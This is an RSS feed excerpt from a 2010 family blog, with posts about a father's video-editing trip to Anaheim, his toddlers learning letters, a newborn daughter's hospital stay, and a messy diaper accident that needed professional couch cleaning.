<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Just Another Day...</title>
	<atom:link href="http://tomchak.com/blog/feed/" rel="self" type="application/rss+xml" />
	<link>http://tomchak.com/blog</link>
	<description>The ongoing blog of the Tomchak family, in Wheaton IL USA</description>
	<lastBuildDate>Mon, 22 Feb 2010 18:14:00 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.1</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Work On Your Business, By Working On Yourself  : SuiteTake.com</title>
		<link>http://tomchak.com/blog/2010/02/22/work-on-your-business-by-working-on-yourself-suitetake-com/</link>
		<comments>http://tomchak.com/blog/2010/02/22/work-on-your-business-by-working-on-yourself-suitetake-com/#comments</comments>
		<pubDate>Mon, 22 Feb 2010 18:12:40 +0000</pubDate>
		<dc:creator>Thomas Tomchak</dc:creator>
				<category><![CDATA[Text Post]]></category>
		<category><![CDATA[Dale Carnegie]]></category>
		<category><![CDATA[Suitetake.com]]></category>

		<guid isPermaLink="false">http://tomchak.com/blog/?p=2329</guid>
		<description><![CDATA[
I recently did a post about my adventures in improving my social skill set on my professional blog, SuiteTake.com. Rather then rewriting the whole thing, I&#8217;m just going to link to it here. 
I think it&#8217;s something that just about everybody could get something out of. Let me know what you think. 
Work On Your [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><a href="http://tomchak.com/blog/wp-content/uploads/2010/02/PostTitle_header.jpg"><img class="aligncenter size-full wp-image-2332" title="PostTitle_header" src="http://tomchak.com/blog/wp-content/uploads/2010/02/PostTitle_header.jpg" alt="" width="600" height="359" /></a></p>
<p><span style="font-family: 'Lucida Grande', Verdana, Arial, 'Bitstream Vera Sans', sans-serif; white-space: pre-wrap;">I recently did a post about my adventures in improving my social skill set on my professional blog, SuiteTake.com. Rather then rewriting the whole thing, I&#8217;m just going to link to it here. </span></p>
<p><span style="font-family: 'Lucida Grande', Verdana, Arial, 'Bitstream Vera Sans', sans-serif;"><span style="white-space: pre-wrap;">I think it&#8217;s something that just about everybody could get something out of. Let me know what you think. </span></span></p>
<p><a href="http://www.suitetake.com/2010/02/22/work-on-your-business-by-working-on-yourself/">Work On Your Business, By Working On Yourself  : SuiteTake.com</a>.</p>
<p class="fbconnect_share"><fb:share-button class="url" href="http://tomchak.com/blog/2010/02/22/work-on-your-business-by-working-on-yourself-suitetake-com/" /></p>]]></content:encoded>
			<wfw:commentRss>http://tomchak.com/blog/2010/02/22/work-on-your-business-by-working-on-yourself-suitetake-com/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>ABC&#8230; As Easy as 1,2,3</title>
		<link>http://tomchak.com/blog/2010/02/04/abc-as-easy-as-123/</link>
		<comments>http://tomchak.com/blog/2010/02/04/abc-as-easy-as-123/#comments</comments>
		<pubDate>Thu, 04 Feb 2010 23:35:37 +0000</pubDate>
		<dc:creator>Thomas Tomchak</dc:creator>
				<category><![CDATA[Text Post]]></category>
		<category><![CDATA[Video Post]]></category>
		<category><![CDATA[Andrew]]></category>

		<guid isPermaLink="false">http://tomchak.com/blog/?p=2278</guid>
		<description><![CDATA[Andrew seems to have developed a love for letters and numbers. One of his favorite past times right now is telling you what letters and numbers he sees. Even when we were out to breakfast this past weekend he started blurting out letters, and then we realized it was the sign that said &#8220;Restrooms&#8221; that [...]]]></description>
			<content:encoded><![CDATA[<p>Andrew seems to have developed a love for letters and numbers. One of his favorite past times right now is telling you what letters and numbers he sees. Even when we were out to breakfast this past weekend he started blurting out letters, and then we realized it was the sign that said &#8220;Restrooms&#8221; that he was reading.</p>
<p>Here is a short little video of him demonstrating his new found skills. Given he&#8217;s only 25 months old, it&#8217;s pretty amazing. As for Max, he&#8217;s doing well too but a little more shy about letting on what he knows.</p>
[See post to watch QuickTime movie]
<p class="fbconnect_share"><fb:share-button class="url" href="http://tomchak.com/blog/2010/02/04/abc-as-easy-as-123/" /></p>]]></content:encoded>
			<wfw:commentRss>http://tomchak.com/blog/2010/02/04/abc-as-easy-as-123/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>NO&#8230; I&#8217;m NOT 65 AARP!</title>
		<link>http://tomchak.com/blog/2010/01/28/no-im-not-65-aarp/</link>
		<comments>http://tomchak.com/blog/2010/01/28/no-im-not-65-aarp/#comments</comments>
		<pubDate>Thu, 28 Jan 2010 21:19:14 +0000</pubDate>
		<dc:creator>Thomas Tomchak</dc:creator>
				<category><![CDATA[Photo Post]]></category>
		<category><![CDATA[Text Post]]></category>

		<guid isPermaLink="false">http://tomchak.com/blog/?p=2270</guid>
		<description><![CDATA[

I don&#8217;t know what database has me listed as retired, but I&#8217;m constantly getting mail like this. It&#8217;s not that there&#8217;s anything wrong with being 65 or older, but let me take my time getting there please.
]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;">
<p style="text-align: center;"><a href="http://tomchak.com/blog/wp-content/uploads/2010/01/img_0939-1.jpg"><img class="size-medium wp-image-2274  aligncenter" title="img_0939-1" src="http://tomchak.com/blog/wp-content/uploads/2010/01/img_0939-1-450x600.jpg" alt="img_0939-1" width="450" height="600" /></a></p>
<p>I don&#8217;t know what database has me listed as retired, but I&#8217;m constantly getting mail like this. It&#8217;s not that there&#8217;s anything wrong with being 65 or older, but let me take my time getting there please.</p>
<p class="fbconnect_share"><fb:share-button class="url" href="http://tomchak.com/blog/2010/01/28/no-im-not-65-aarp/" /></p>]]></content:encoded>
			<wfw:commentRss>http://tomchak.com/blog/2010/01/28/no-im-not-65-aarp/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>The Down Side To Travel Jobs</title>
		<link>http://tomchak.com/blog/2010/01/19/the-down-side-to-travel-jobs/</link>
		<comments>http://tomchak.com/blog/2010/01/19/the-down-side-to-travel-jobs/#comments</comments>
		<pubDate>Tue, 19 Jan 2010 20:13:44 +0000</pubDate>
		<dc:creator>Thomas Tomchak</dc:creator>
				<category><![CDATA[Photo Post]]></category>
		<category><![CDATA[Text Post]]></category>
		<category><![CDATA[Video Post]]></category>
		<category><![CDATA[iPhone]]></category>
		<category><![CDATA[Hospital]]></category>
		<category><![CDATA[Sickness]]></category>
		<category><![CDATA[Sydney]]></category>

		<guid isPermaLink="false">http://tomchak.com/blog/?p=2255</guid>
		<description><![CDATA[
As much as I like the occasional travel job as a change of pace, change of scenery&#8230; there is also a down side. Once I commit to a job I&#8217;m pretty much there for the duration, almost no matter what. That can be tough when your family needs you. This was one of those weeks [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><a href="http://tomchak.com/blog/wp-content/uploads/2010/01/mobile-photo-jan-19-2010-5-31-16-am.jpg"><img class="size-medium wp-image-2258  aligncenter" title="mobile-photo-jan-19-2010-5-31-16-am" src="http://tomchak.com/blog/wp-content/uploads/2010/01/mobile-photo-jan-19-2010-5-31-16-am-450x600.jpg" alt="mobile-photo-jan-19-2010-5-31-16-am" width="450" height="600" /></a></p>
<p>As much as I like the occasional travel job as a change of pace, change of scenery&#8230; there is also a down side. Once I commit to a job I&#8217;m pretty much there for the duration, almost no matter what. That can be tough when your family needs you. This was one of those weeks that if I had the option, I would have left the job early or had somebody else take over for me, things that would have been possible had I been working here in Chicago.</p>
<p style="text-align: center;"><a href="http://tomchak.com/blog/wp-content/uploads/2010/01/mobile-photo-jan-19-2010-5-31-07-am.jpg"><img class="size-medium wp-image-2259  aligncenter" title="mobile-photo-jan-19-2010-5-31-07-am" src="http://tomchak.com/blog/wp-content/uploads/2010/01/mobile-photo-jan-19-2010-5-31-07-am-450x600.jpg" alt="mobile-photo-jan-19-2010-5-31-07-am" width="450" height="600" /></a></p>
<p>We have all been trading colds for the last several weeks, but when I left it looked like the worst of it was behind us. As it turned out, the worst was yet to come. Sydney ended up getting a cold on top of a cold, which is annoying when you&#8217;re a adult but very serious when you&#8217;re 7 week old baby and unable to be treated with any type of medication. After 3 trips to the doctor throughout the week, Brenda ended up taking her to the hospital on Sunday night after she turned pale and appeared to stop breathing.</p>
<p style="text-align: center;"><a href="http://tomchak.com/blog/wp-content/uploads/2010/01/mobile-photo-jan-19-2010-5-30-59-am.jpg"><img class="size-medium wp-image-2260  aligncenter" title="mobile-photo-jan-19-2010-5-30-59-am" src="http://tomchak.com/blog/wp-content/uploads/2010/01/mobile-photo-jan-19-2010-5-30-59-am-450x600.jpg" alt="mobile-photo-jan-19-2010-5-30-59-am" width="450" height="600" /></a></p>
<p>Long story short, Sydney is doing better but is still in the hospital and probably will be there until at least Wednesday. She&#8217;s improving but her oxygen levels are still dropping too much, especially when she goes to sleep. Brenda is staying with her around the clock and has only come home to pack some clothes and other daily items.</p>
<p>Andrew is home with me today because he&#8217;s still pretty sick and has a fever, Max is at daycare (thank god for only having one today!). I&#8217;m very sick and so is Brenda. So all in all, it&#8217;s just a little slice of &#8220;heaven&#8221; around here. It sure makes you appreciate the simplicity of just being healthy.</p>
<p>But I am very thankful that we live in a city that has access to great doctors and that Sydney is in great hands. I&#8217;m very confident that we&#8217;ll all be doing a lot better in the upcoming weeks.</p>
<p style="text-align: center;">[See post to watch QuickTime movie]
<p class="fbconnect_share"><fb:share-button class="url" href="http://tomchak.com/blog/2010/01/19/the-down-side-to-travel-jobs/" /></p>]]></content:encoded>
			<wfw:commentRss>http://tomchak.com/blog/2010/01/19/the-down-side-to-travel-jobs/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>What I&#8217;m Up To in CA</title>
		<link>http://tomchak.com/blog/2010/01/14/what-im-up-to-in-ca/</link>
		<comments>http://tomchak.com/blog/2010/01/14/what-im-up-to-in-ca/#comments</comments>
		<pubDate>Thu, 14 Jan 2010 20:18:31 +0000</pubDate>
		<dc:creator>Thomas Tomchak</dc:creator>
				<category><![CDATA[Text Post]]></category>
		<category><![CDATA[Suitetake.com]]></category>

		<guid isPermaLink="false">http://tomchak.com/blog/?p=2252</guid>
		<description><![CDATA[
I did a blog post yesterday on my editing blog that talks about what I&#8217;m doing and has lots of pictures. You can find it by clicking here. 
]]></description>
			<content:encoded><![CDATA[<p><a href="http://tomchak.com/blog/wp-content/uploads/2010/01/posttitle_header.jpg"><img class="aligncenter size-full wp-image-2253" title="posttitle_header" src="http://tomchak.com/blog/wp-content/uploads/2010/01/posttitle_header.jpg" alt="posttitle_header" width="600" height="359" /></a></p>
<p>I did a blog post yesterday on my editing blog that talks about what I&#8217;m doing and has lots of pictures. You can find it by <a href="http://www.suitetake.com/2010/01/13/have-fcp-will-travel-please-let-me-travel/" target="_blank">clicking here. </a></p>
<p class="fbconnect_share"><fb:share-button class="url" href="http://tomchak.com/blog/2010/01/14/what-im-up-to-in-ca/" /></p>]]></content:encoded>
			<wfw:commentRss>http://tomchak.com/blog/2010/01/14/what-im-up-to-in-ca/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>In the Snooty Lounge</title>
		<link>http://tomchak.com/blog/2010/01/12/in-the-snooty-lounge/</link>
		<comments>http://tomchak.com/blog/2010/01/12/in-the-snooty-lounge/#comments</comments>
		<pubDate>Tue, 12 Jan 2010 13:52:48 +0000</pubDate>
		<dc:creator>Thomas Tomchak</dc:creator>
				<category><![CDATA[Photo Post]]></category>
		<category><![CDATA[Text Post]]></category>
		<category><![CDATA[iPhone]]></category>
		<category><![CDATA[ORD]]></category>
		<category><![CDATA[Red Carpet]]></category>
		<category><![CDATA[Snooty Lounge]]></category>
		<category><![CDATA[Travel]]></category>

		<guid isPermaLink="false">http://tomchak.com/blog/?p=2248</guid>
		<description><![CDATA[All checked in, through security and in the Red Carpet (aka snooty) lounge enjoying some snacks and wifi.

]]></description>
			<content:encoded><![CDATA[<p>All checked in, through security and in the Red Carpet (aka snooty) lounge enjoying some snacks and wifi.</p>
<p><a href="http://tomchak.com/blog/wp-content/uploads/2010/01/mobile-photo-jan-12-2010-7-48-50-am.jpg"><img class="aligncenter size-medium wp-image-2249" title="mobile-photo-jan-12-2010-7-48-50-am" src="http://tomchak.com/blog/wp-content/uploads/2010/01/mobile-photo-jan-12-2010-7-48-50-am-600x450.jpg" alt="mobile-photo-jan-12-2010-7-48-50-am" width="600" height="450" /></a></p>
<p class="fbconnect_share"><fb:share-button class="url" href="http://tomchak.com/blog/2010/01/12/in-the-snooty-lounge/" /></p>]]></content:encoded>
			<wfw:commentRss>http://tomchak.com/blog/2010/01/12/in-the-snooty-lounge/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>2 Tickets to Paradise</title>
		<link>http://tomchak.com/blog/2010/01/11/2-tickets-to-paradise/</link>
		<comments>http://tomchak.com/blog/2010/01/11/2-tickets-to-paradise/#comments</comments>
		<pubDate>Mon, 11 Jan 2010 23:22:33 +0000</pubDate>
		<dc:creator>Thomas Tomchak</dc:creator>
				<category><![CDATA[Photo Post]]></category>
		<category><![CDATA[Text Post]]></category>
		<category><![CDATA[iPhone]]></category>
		<category><![CDATA[Travel]]></category>

		<guid isPermaLink="false">http://tomchak.com/blog/?p=2242</guid>
		<description><![CDATA[
One for the plane, one for the RedCarpet Club. I&#8217;m out the door at 6am sharp tomorrow.
]]></description>
			<content:encoded><![CDATA[<p><a href="http://tomchak.com/blog/wp-content/uploads/2010/01/ticketstoparadise_web.jpg"><img class="aligncenter size-medium wp-image-2244" title="ticketstoparadise_web" src="http://tomchak.com/blog/wp-content/uploads/2010/01/ticketstoparadise_web-600x450.jpg" alt="ticketstoparadise_web" width="600" height="450" /></a></p>
<p>One for the plane, one for the <a href="http://www.united.com/page/article/0,,52672,00.html" target="_blank">RedCarpet Club</a>. I&#8217;m out the door at 6am sharp tomorrow.</p>
<p class="fbconnect_share"><fb:share-button class="url" href="http://tomchak.com/blog/2010/01/11/2-tickets-to-paradise/" /></p>]]></content:encoded>
			<wfw:commentRss>http://tomchak.com/blog/2010/01/11/2-tickets-to-paradise/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>It&#8217;s Almost Time, to Go To Anaheim</title>
		<link>http://tomchak.com/blog/2010/01/05/its-almost-time-to-go-to-anaheim/</link>
		<comments>http://tomchak.com/blog/2010/01/05/its-almost-time-to-go-to-anaheim/#comments</comments>
		<pubDate>Tue, 05 Jan 2010 17:54:57 +0000</pubDate>
		<dc:creator>Thomas Tomchak</dc:creator>
				<category><![CDATA[Photo Post]]></category>
		<category><![CDATA[Text Post]]></category>
		<category><![CDATA[Anaheim CA]]></category>
		<category><![CDATA[NAMM]]></category>
		<category><![CDATA[Travel]]></category>

		<guid isPermaLink="false">http://tomchak.com/blog/?p=2236</guid>
		<description><![CDATA[
It&#8217;s going to be rough to leave this cold Chicago winter, but next week I am booked on a job in Anaheim CA. I have a 7-Day gig at the Anaheim Convention Center for the NAMM show. This is a good start to the new year and is hopefully a good sign of things to come.
I&#8217;ll [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://tomchak.com/blog/wp-content/uploads/2010/01/anaheim.jpg"><img class="aligncenter size-medium wp-image-2237" title="anaheim" src="http://tomchak.com/blog/wp-content/uploads/2010/01/anaheim-600x399.jpg" alt="anaheim" width="600" height="399" /></a></p>
<p>It&#8217;s going to be rough to leave this cold Chicago winter, but next week I am booked on a job in Anaheim CA. I have a 7-Day gig at the Anaheim Convention Center for the <a href="http://www.namm.org/thenammshow/2010" target="_blank">NAMM</a> show. This is a good start to the new year and is hopefully a good sign of things to come.</p>
<p>I&#8217;ll be posting updates during the trip and hope to have time to take some photos of the event itself. You can find my travel details on this site by <a href="http://tomchak.com/blog/travel/">clicking here</a>.</p>
<p class="fbconnect_share"><fb:share-button class="url" href="http://tomchak.com/blog/2010/01/05/its-almost-time-to-go-to-anaheim/" /></p>]]></content:encoded>
			<wfw:commentRss>http://tomchak.com/blog/2010/01/05/its-almost-time-to-go-to-anaheim/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Sydney Birthday Photos</title>
		<link>http://tomchak.com/blog/2009/12/30/sydney-birthday-photos/</link>
		<comments>http://tomchak.com/blog/2009/12/30/sydney-birthday-photos/#comments</comments>
		<pubDate>Wed, 30 Dec 2009 16:06:24 +0000</pubDate>
		<dc:creator>Thomas Tomchak</dc:creator>
				<category><![CDATA[Photo Post]]></category>
		<category><![CDATA[Text Post]]></category>
		<category><![CDATA[Birthday]]></category>
		<category><![CDATA[Sydney]]></category>

		<guid isPermaLink="false">http://tomchak.com/blog/?p=2213</guid>
		<description><![CDATA[
I&#8217;ve been VERY slow to get anything done that doesn&#8217;t involve changing a diaper or sleeping, but I finally posted the photos from the first few hours after Sydney was born. Once again I had my friend Mike Younger stop by in the morning and take some photos since I knew I would have my [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://tomchak.com/blog/wp-content/uploads/2009/12/2009-11-27_sydneytomchakbirth-63.jpg"><img class="aligncenter size-medium wp-image-2214" title="2009-11-27_sydneytomchakbirth-63" src="http://tomchak.com/blog/wp-content/uploads/2009/12/2009-11-27_sydneytomchakbirth-63-600x400.jpg" alt="2009-11-27_sydneytomchakbirth-63" width="600" height="400" /></a></p>
<p>I&#8217;ve been VERY slow to get anything done that doesn&#8217;t involve changing a diaper or sleeping, but I finally posted the photos from the first few hours after Sydney was born. Once again I had my friend <a href="http://mikeyoungerphoto.com/" target="_blank">Mike Younger</a> stop by in the morning and take some photos since I knew I would have my hands full.</p>
<p>You can find the rest on <a href="http://tomchak.smugmug.com/Family/2009-1230Sydney-Birthday/" target="_blank">SmugMug</a>.</p>
<p class="fbconnect_share"><fb:share-button class="url" href="http://tomchak.com/blog/2009/12/30/sydney-birthday-photos/" /></p>]]></content:encoded>
			<wfw:commentRss>http://tomchak.com/blog/2009/12/30/sydney-birthday-photos/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Sydney Etheena, The Movie</title>
		<link>http://tomchak.com/blog/2009/12/23/sydney-etheena-the-movie/</link>
		<comments>http://tomchak.com/blog/2009/12/23/sydney-etheena-the-movie/#comments</comments>
		<pubDate>Wed, 23 Dec 2009 20:30:07 +0000</pubDate>
		<dc:creator>Thomas Tomchak</dc:creator>
				<category><![CDATA[Photo Post]]></category>
		<category><![CDATA[Movie Poster]]></category>
		<category><![CDATA[Sydney]]></category>

		<guid isPermaLink="false">http://tomchak.com/blog/?p=2198</guid>
		<description><![CDATA[
]]></description>
			<content:encoded><![CDATA[<div id="attachment_2204" class="wp-caption aligncenter" style="width: 610px"><a href="http://farm5.static.flickr.com/4057/4208827759_e528c98c7c_o.jpg"><img class="size-full wp-image-2204" title="sydney_poster_jad_preview" src="http://tomchak.com/blog/wp-content/uploads/2009/12/sydney_poster_jad_preview.jpg" alt="sydney_poster_jad_preview" width="600" height="900" /></a><p class="wp-caption-text">Click on the image for a larger version. The actual printed size of this will be 30&quot;x20&quot;</p></div>
<p style="text-align: center;">
<p class="fbconnect_share"><fb:share-button class="url" href="http://tomchak.com/blog/2009/12/23/sydney-etheena-the-movie/" /></p>]]></content:encoded>
			<wfw:commentRss>http://tomchak.com/blog/2009/12/23/sydney-etheena-the-movie/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Nobody Told Me It Would Be Like This</title>
		<link>http://tomchak.com/blog/2009/12/20/nobody-told-me-it-would-be-like-this/</link>
		<comments>http://tomchak.com/blog/2009/12/20/nobody-told-me-it-would-be-like-this/#comments</comments>
		<pubDate>Mon, 21 Dec 2009 00:56:13 +0000</pubDate>
		<dc:creator>Thomas Tomchak</dc:creator>
				<category><![CDATA[Photo Post]]></category>
		<category><![CDATA[Text Post]]></category>
		<category><![CDATA[Couch Cleaning]]></category>
		<category><![CDATA[High Fever]]></category>
		<category><![CDATA[Poop on Everything]]></category>
		<category><![CDATA[Stanley Steamer]]></category>

		<guid isPermaLink="false">http://tomchak.com/blog/?p=2181</guid>
		<description><![CDATA[As any parent knows, there are easy days and hard days. Our day today (including last night) falls under the category of OMG nobody told me it would be like this!
It started Friday night.  While eating dinner Brenda noticed that Andrew was looking a bit pink in the cheeks. We took his temperature and it [...]]]></description>
			<content:encoded><![CDATA[<div id="attachment_2186" class="wp-caption aligncenter" style="width: 610px"><a href="http://tomchak.com/blog/wp-content/uploads/2009/12/2009-12-04_img_2045.jpg"><img class="size-medium wp-image-2186" title="2009-12-04_img_2045" src="http://tomchak.com/blog/wp-content/uploads/2009/12/2009-12-04_img_2045-600x400.jpg" alt="2009-12-04_img_2045" width="600" height="400" /></a><p class="wp-caption-text">Aunt Toni with Sydney</p></div>
<p style="text-align: left;">As any parent knows, there are easy days and hard days. Our day today (including last night) falls under the category of OMG nobody told me it would be like <em>this!</em></p>
<p>It started Friday night.  While eating dinner Brenda noticed that Andrew was looking a bit pink in the cheeks. We took his temperature and it was nearing 103. So we gave him Tylenol, took his shirt off and put a cold wet rag on his head. After an hour or so his temperature was down to just under 100 and he fell asleep on the couch with mommy.</p>
<p><a href="http://tomchak.com/blog/wp-content/uploads/2009/12/2009-12-18_img_2225.jpg"><img class="aligncenter size-medium wp-image-2187" title="2009-12-18_img_2225" src="http://tomchak.com/blog/wp-content/uploads/2009/12/2009-12-18_img_2225-600x400.jpg" alt="2009-12-18_img_2225" width="600" height="400" /></a></p>
<p><a href="http://tomchak.com/blog/wp-content/uploads/2009/12/2009-12-18_img_2221.jpg"><img class="aligncenter size-medium wp-image-2188" title="2009-12-18_img_2221" src="http://tomchak.com/blog/wp-content/uploads/2009/12/2009-12-18_img_2221-600x400.jpg" alt="2009-12-18_img_2221" width="600" height="400" /></a></p>
<p><span id="more-2181"></span></p>
<p>Overnight he was up once because he wasn&#8217;t feeling well again, so we sat up with him until he was feeling better and then he was back in bed.</p>
<p><a href="http://tomchak.com/blog/wp-content/uploads/2009/12/2009-12-06_img_2095.jpg"><img class="aligncenter size-medium wp-image-2189" title="2009-12-06_img_2095" src="http://tomchak.com/blog/wp-content/uploads/2009/12/2009-12-06_img_2095-600x398.jpg" alt="2009-12-06_img_2095" width="600" height="398" /></a></p>
<p>Sydney was also being fed throughout the night, about every 3-4 hours. The last time I went back to bed after a feeding was around 5am.</p>
<p>At 6:30 both boys wake up and as usual they sat with us on the couch in the living room for about 15 minutes. This is the one time of day that they like sitting and being held, as they slowly wake up. Brenda was holding Andrew and I grabbed Max and had him sit next to me. Right away I realized that he needed a diaper change based on the smell that consumed me when he sat down, but I was so tired that I sat there holding him with my eyes closed trying to catch a few more minutes of sleep.</p>
<p>Mind you, the smell was way worse then usual. So much so that it was hard to breathe through my nose, but I was just soooo tired that I actually started to fall asleep even under these conditions.</p>
<p>After about 20 minutes Brenda decided she could no longer take the smell and grabbed him to go get changed. As she was walking out of the room I realized the side of my shirt was a bit wet. Then when I put my had down to feel it I realized it was <em>more</em> then wet. Now, suddenly a lot more awake, I open my eyes and look where Max was sitting and see a huge wet stain on the couch cushion and back pillow. I look closer and realize that it&#8217;s a huge stain, and the stain has thickness to it.</p>
<p>As if quickly realizing Brenda was about to defuse a bomb, I jumped up and said &#8220;WAIT!&#8221;. But it was too late. She had already discovered that he not only had diarrhea, but it was all over the inside of his clothes and half way up his back. It was everywhere and smelled like sin.</p>
<p>Brenda immediately declared this a code red biohazard emergency and decided a simple diaper change was not going to cut it. So I ran into the bathroom to start the bath and in the mirror realized that not only was my shirt a lost cause, but my shorts and underwear were also soaked with large brown stains. So while I&#8217;m running the bath water, I realize I have to get totally undressed and quickly wipe down myself just to avoid wanting to throw up. So I disrobe and start wiping down with a towel and a few minutes later naked little Max comes wandering into the bathroom for his bath. He&#8217;s cute, but still stinks like pooh!</p>
<p>So I finish wiping off, quickly throw him into the bath to start soaking his nasty areas and run into the bedroom to grab something clean to wear. I get back to the bathroom and spend more time then usual making sure Max is very, very clean.</p>
<p>In the mean time, Brenda is running back and forth between the kitchen and living room trying to get the couch cushions as clean as possible, but by now it&#8217;s really soaked into the material and is surely going to smell no matter what she does to it.</p>
<p>So by 7:15 in the morning, Max is bathed and re-dressed, and the couch cushions are wiped down but had to be removed from the room until we figured out what our real cleaning plan was.</p>
<p>I thought I might take the cushion covers off and wash them in the washer, but when I read the tags on the couch it was very specific in saying not to do that. It seems only a professional can clean our couch, we&#8217;re not qualified.</p>
<p>Then I remembered that when we purchased the couch there was some sort of spot removal service included with the purchase. So I run down and pull the receipt/paperwork from the filing cabinet only to find out that our type bodily function stain is not covered. Even if I tried to push it through the using the warranty service, they don&#8217;t open until 9am on Monday, which means I would have to wait 2 more days with our biohazard situation. Not a good option.</p>
<p>Now it&#8217;s 7:45 and I search on google to find somebody that can do the job, and do it NOW! We end up calling and scheduling <a href="http://www.stanleysteemer.com" target="_blank">Stanley Steamer</a> to take care of it, and they agree to show up between 9 and noon. I&#8217;m just hoping they&#8217;re better then the cable company.</p>
<p>They surprise us and show up before 10am, while I&#8217;m in the shower. So Brenda takes all 3 of the kids into their little bedroom and hangs out  (I join them after my shower) while the Stanley guys pull the couch apart and systematically clean every fiber inside and out. They not only clean it, they deodorize it and add a protective coating as the last step. So after about an hour and $340 later, they&#8217;ve cleaned it all including the throw pillows. We are instructed not to use the couch until the next morning so that the couch has time to dry.</p>
<p><a href="http://tomchak.com/blog/wp-content/uploads/2009/12/2009-12-19_img_2237.jpg"><img class="aligncenter size-medium wp-image-2190" title="2009-12-19_img_2237" src="http://tomchak.com/blog/wp-content/uploads/2009/12/2009-12-19_img_2237-600x400.jpg" alt="2009-12-19_img_2237" width="600" height="400" /></a></p>
<p>They leave and I realize that since the room is in such disarray already, it&#8217;s a good time to clean the floors and vacuum up all of the dust bunnies, goldfish crackers, lost toys and missing puzzle pieces. That takes me the better part of a half hour as I move all of the furniture around and clean up with the garage shop vac. It&#8217;s perfect for this job. By 11:30 the living room is back in order and the kids area allowed re-entry.</p>
<p>All of this, and it&#8217;s only 11:30! I remember when we would sleep until 11:30. No matter how much people warn you that having children will change your life, there is just no way to truly communicate the depth of that change without actually going through it.</p>
<p>But when I ask myself would I change anything, the answer is always the same. Not a single thing. Even a day like this is well worth going through for the love of our little family.</p>
<p>It&#8217;s Sunday now and both boys are doing better. We figured out that Max has a really bad reaction to dairy (what we didn&#8217;t know is that it takes a few days to take effect) and Andrew has been in a good mood while still fighting a slight fever.</p>
<p><a href="http://tomchak.com/blog/wp-content/uploads/2009/12/2009-12-19_img_2261.jpg"><img class="aligncenter size-medium wp-image-2191" title="2009-12-19_img_2261" src="http://tomchak.com/blog/wp-content/uploads/2009/12/2009-12-19_img_2261-600x400.jpg" alt="2009-12-19_img_2261" width="600" height="400" /></a></p>
<p><a href="http://tomchak.com/blog/wp-content/uploads/2009/12/2009-12-19_img_2259.jpg"><img class="aligncenter size-medium wp-image-2192" title="2009-12-19_img_2259" src="http://tomchak.com/blog/wp-content/uploads/2009/12/2009-12-19_img_2259-600x400.jpg" alt="2009-12-19_img_2259" width="600" height="400" /></a></p>
<p><a href="http://tomchak.com/blog/wp-content/uploads/2009/12/2009-12-19_img_2257.jpg"><img class="aligncenter size-medium wp-image-2193" title="2009-12-19_img_2257" src="http://tomchak.com/blog/wp-content/uploads/2009/12/2009-12-19_img_2257-600x400.jpg" alt="2009-12-19_img_2257" width="600" height="400" /></a></p>
<p><a href="http://tomchak.com/blog/wp-content/uploads/2009/12/2009-12-19_img_2247.jpg"><img class="aligncenter size-medium wp-image-2194" title="2009-12-19_img_2247" src="http://tomchak.com/blog/wp-content/uploads/2009/12/2009-12-19_img_2247-600x400.jpg" alt="2009-12-19_img_2247" width="600" height="400" /></a></p>
<p class="fbconnect_share"><fb:share-button class="url" href="http://tomchak.com/blog/2009/12/20/nobody-told-me-it-would-be-like-this/" /></p>]]></content:encoded>
			<wfw:commentRss>http://tomchak.com/blog/2009/12/20/nobody-told-me-it-would-be-like-this/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Sydney Moments</title>
		<link>http://tomchak.com/blog/2009/12/08/sydney-moments/</link>
		<comments>http://tomchak.com/blog/2009/12/08/sydney-moments/#comments</comments>
		<pubDate>Tue, 08 Dec 2009 22:47:24 +0000</pubDate>
		<dc:creator>Thomas Tomchak</dc:creator>
				<category><![CDATA[Video Post]]></category>
		<category><![CDATA[iPhone]]></category>
		<category><![CDATA[Sydney]]></category>

		<guid isPermaLink="false">http://tomchak.com/blog/?p=2176</guid>
		<description><![CDATA[[See post to watch QuickTime movie]
]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;">[See post to watch QuickTime movie]
<p class="fbconnect_share"><fb:share-button class="url" href="http://tomchak.com/blog/2009/12/08/sydney-moments/" /></p>]]></content:encoded>
			<wfw:commentRss>http://tomchak.com/blog/2009/12/08/sydney-moments/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>POV of Sydney</title>
		<link>http://tomchak.com/blog/2009/12/04/pov-of-sydney/</link>
		<comments>http://tomchak.com/blog/2009/12/04/pov-of-sydney/#comments</comments>
		<pubDate>Fri, 04 Dec 2009 21:50:48 +0000</pubDate>
		<dc:creator>Thomas Tomchak</dc:creator>
				<category><![CDATA[Text Post]]></category>
		<category><![CDATA[Video Post]]></category>
		<category><![CDATA[Sydney]]></category>

